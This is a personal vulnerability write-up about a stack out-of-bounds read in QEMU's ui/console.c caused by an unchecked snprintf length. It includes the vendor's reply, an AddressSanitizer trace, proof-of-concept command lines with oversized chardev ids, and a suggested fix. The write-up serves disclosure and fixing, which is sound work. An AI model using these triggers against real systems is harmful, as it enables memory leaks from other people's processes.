n0o.com - Personal archive of discovered vulns & writeups.

[NO CVE]QEMU: Stack buffer out-of-bounds read & leak in console.c


Reported to QEMU @ 1 July 2020 Fixed @ 10 Aug 2020 Reply from the vendor: I was able to reproduce the said OOB issue in ui/console.c with $ ./bin/qemu-system-x86_64 -enable-kvm -m 2048 -chardev vc,id=`perl -e 'print "A" x 1025'`,width=640,height=480 \ -mon chardev=`perl -e 'print "A" x 1025'` -nographic /var/lib/libvirt/images/f27vm.qcow2 ==301314==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffd690 at pc 0x5555566ad82a bp 0x7fffffffd560 sp 0x7fffffffd550 READ of size 1 at 0x7fffffffd690 thread T0 #0 0x5555566ad829 in vc_chr_write ui/console.c:1109 #1 0x5555566b45e3 in text_console_do_init ui/console.c:2193 #2 0x5555566b2f38 in init_displaystate ui/console.c:1863 #3 0x555555fe1c8f in qemu_init qemu/softmmu/vl.c:4395 #4 0x555556962bf6 in main qemu/softmmu/main.c:48 #5 0x7ffff6834041 in __libc_start_main (/lib64/libc.so.6+0x27041) #6 0x555555d7e78d in _start (/bin/qemu-system-x86_64+0x82a78d) * Considering that the said OOB access issue in ui/console.c occurs during console initialisation, as seen above, it does not seem to have a security impact. * Stack contents are revealed to the user starting QEMU process, which he/she can see via other means too. This OOB access issue is best fixed as regular non-security bug. ====================================== The vulnerability is in ui/console.c. chr->label is the id specified by the startup parameter of qemu. The following snprintf's return value is the actual length required to write the msg, so if the length of chr->label and "console \r\n" is greater than 128, len will also be greater than 128. The following vc_chr_write outputs msg[x] to console, x is a length of 0~len-1. As a result, the contents of the stack buffer will be accessed out of bounds. static void text_console_do_init(CharDriverState *chr, DisplayState *ds) { ..... if (chr->label) { char msg[128]; int len; s->t_attrib.bgcol = QEMU_COLOR_BLUE; len = snprintf(msg, sizeof(msg), "%s console\r\n", chr->label); vc_chr_write(chr, (uint8_t *)msg, len); s->t_attrib = s->t_attrib_default; } Simplest PoC: qemu --enable-kvm -hda /home/leonwxqian/exdisk/disk.qcow2 -m 2048 -chardev vc,id=a123456789a123456789a123456789a123456789a123456789a123456789a1234567 89a123456789a123456789a123456789a123456789a123456789a123456789a123456789a1 23456789,width=640,height=480 -mon chardev=a123456789a123456789a123456789a 123456789a123456789a123456789a123456789a123456789a123456789a123456789a1234 56789a123456789a123456789a123456789a123456789 Fix Advice: len = snprintf(msg, sizeof(msg), "%s console\r\n", chr->label); + if(len > sizeof(msg)) + len = sizeof(msg);